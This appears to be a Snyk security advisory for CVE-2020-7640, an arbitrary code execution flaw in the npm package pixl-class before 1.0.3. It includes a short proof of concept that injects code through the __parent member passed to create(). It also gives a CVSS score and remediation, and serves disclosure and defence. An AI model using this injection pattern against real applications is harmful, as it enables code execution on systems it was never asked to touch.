Arbitrary Code Execution

Affecting pixl-class package, versions <1.0.3

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

pixl-class is a library that allows you to create classes in a more classical sort of way, including support for static class members, proper constructors, inheritance, and mixins.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The injection point is located in line 26 in the index file class.js; the members argument of the create function can be controlled by users without any sanitization.

POC

var a = require("pixl-class");
var members = {
  __parent:'function(){}; console.log(123)//}'
}

a.create(members);

Remediation

Upgrade pixl-class to version 1.0.3 or higher.

References

CVSS Score

8.6
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    Low
  • Availability
    Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:P/RL:O/RC:C
Credit
JHU System Security Lab
CVE
CVE-2020-7640
CWE
CWE-78
Snyk ID
SNYK-JS-PIXLCLASS-564968
Disclosed
10 Mar, 2020
Published
09 Apr, 2020